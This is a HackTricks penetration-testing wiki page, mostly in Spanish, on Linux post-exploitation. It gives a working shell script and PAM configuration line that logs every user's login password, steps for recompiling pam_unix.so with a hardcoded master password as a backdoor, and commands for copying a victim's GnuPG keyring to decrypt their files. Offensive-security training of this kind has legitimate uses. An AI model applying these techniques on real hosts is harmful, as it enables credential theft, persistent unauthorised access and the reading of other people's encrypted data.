hacktricks/src/linux-hardening/linux-post-exploitation

Linux Post-Exploitation

{{#include ../../banners/hacktricks-training.md}}

Sniffing Logon Passwords with PAM

Configuremos un módulo PAM para registrar cada contraseña que usa cada usuario al iniciar sesión. Si no sabes qué es PAM consulta:

{{#ref}} pam-pluggable-authentication-modules.md {{#endref}}

Para más detalles consulta el original post. Esto es solo un resumen:

Technique Overview: Pluggable Authentication Modules (PAM) ofrecen flexibilidad en la gestión de la autenticación en sistemas Unix. Pueden mejorar la seguridad al personalizar los procesos de inicio de sesión, pero también presentan riesgos si se usan indebidamente. Este resumen describe una técnica para capturar credenciales de inicio de sesión usando PAM, junto con estrategias de mitigación.

Capturing Credentials:

  • Se crea un bash script llamado toomanysecrets.sh para registrar los intentos de inicio de sesión, capturando la fecha, el nombre de usuario ($PAM_USER), la contraseña (vía stdin) y la IP del host remoto ($PAM_RHOST) en /var/log/toomanysecrets.log.
  • Se da permisos de ejecución al script y se integra en la configuración de PAM (common-auth) usando el módulo pam_exec.so con opciones para ejecutarlo en silencio y exponer el token de autenticación al script.
  • El enfoque demuestra cómo un host Linux comprometido puede ser explotado para registrar credenciales de forma discreta.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Para más detalles consulta la original post. Esto es solo un resumen:

The Pluggable Authentication Module (PAM) es un sistema usado en Linux para la autenticación de usuarios. Opera sobre tres conceptos principales: username, password, y service. Los archivos de configuración para cada servicio se encuentran en el directorio /etc/pam.d/, donde bibliotecas compartidas manejan la autenticación.

Objetivo: Modificar PAM para permitir la autenticación con una contraseña específica, evitando la contraseña real del usuario. Esto se centra especialmente en la librería compartida pam_unix.so usada por el archivo common-auth, que es incluido por casi todos los servicios para la verificación de contraseña.

Pasos para modificar pam_unix.so:

  1. Locate the Authentication Directive in the common-auth file:
  • La línea responsable de comprobar la contraseña de un usuario llama a pam_unix.so.
  1. Modify Source Code:
  • Añadir una sentencia condicional en el archivo fuente pam_unix_auth.c que otorgue acceso si se usa una contraseña predefinida; de lo contrario, continúa con el proceso de autenticación normal.
  1. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
  2. Testing:
  • Se concede acceso a través de varios servicios (login, ssh, sudo, su, screensaver) con la contraseña predefinida, mientras que los procesos de autenticación normales permanecen sin afectar.

Tip

Puedes automatizar este proceso con https://github.com/zephrax/linux-pam-backdoor

Descifrado de GPG loot mediante reubicación del homedir

Si encuentras un archivo .gpg cifrado y la carpeta ~/.gnupg de un usuario (pubring, private-keys, trustdb) pero no puedes descifrarlo debido a permisos/bloqueos del homedir de GnuPG, copia el keyring a una ubicación con permisos de escritura y úsalo como tu GPG home.

Los errores típicos que verás sin esto: "unsafe ownership on homedir", "failed to create temporary file", o "decryption failed: No secret key" (porque GPG no puede leer/escribir el homedir original).

Workflow:

# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

Si el material de la clave secreta está presente en private-keys-v1.d, GPG la desbloqueará y desencriptará sin solicitar una passphrase (o la solicitará si la clave está protegida).

Referencias

{{#include ../../banners/hacktricks-training.md}}